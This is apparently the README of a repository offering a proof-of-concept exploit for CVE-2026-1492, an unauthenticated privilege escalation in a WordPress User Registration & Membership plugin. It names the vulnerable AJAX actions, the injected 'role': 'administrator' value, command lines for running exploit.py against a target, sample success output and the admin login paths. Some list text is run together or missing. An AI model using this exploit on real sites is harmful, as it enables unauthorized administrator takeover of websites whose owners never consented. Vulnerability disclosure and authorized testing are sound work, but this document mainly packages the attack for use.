
Proof-of-concept exploit for CVE-2026-1492 in WordPress User Registration plugin, enabling unauthenticated privilege escalation to administrator via crafted membership registration.
This repository contains a proof-of-concept exploit for CVE-2026-1492, a critical vulnerability affecting the WordPress User Registration & Membership plugin.
The vulnerability allows unauthenticated attackers to create administrator accounts by abusing the membership registration process.
👉 A full technical analysis of this vulnerability is available here:
Technical Analysis
It explains step-by-step how the backend processes attacker-controlled data and why the privilege escalation is possible.
The plugin improperly trusts user-controlled input during the membership registration process.
Specifically:
roleThis allows attackers to set:
"role": "administrator"
and gain full administrative access.
Successful exploitation allows:
The vulnerability is triggered through a multi-step AJAX process:
user_registration_user_form_submituser_registration_membership_register_memberadministrator)python3 exploit.py -t http://target -ru 'http://target/?page_id=6'
python3 exploit.py -t http://localhost:5000 -ru 'http://localhost:5000/?page_id=6'
[*] Extracting tokens...
[+] form_id: 5
[+] frontend_nonce: XXXXX
[+] security: XXXXX
[+] wpnonce: XXXXX
[+] membership_id: 12
[*] Sending registration request...
[+] User created
[*] Sending membership request...
[+] Privilege escalation successful
Login using the generated credentials:
http://target/wp-login.php
Then access the admin panel:
http://target/wp-admin/
Note: The admin path may be customized.
This exploit is provided for educational purposes and authorized security testing only.
Do not use against systems without permission.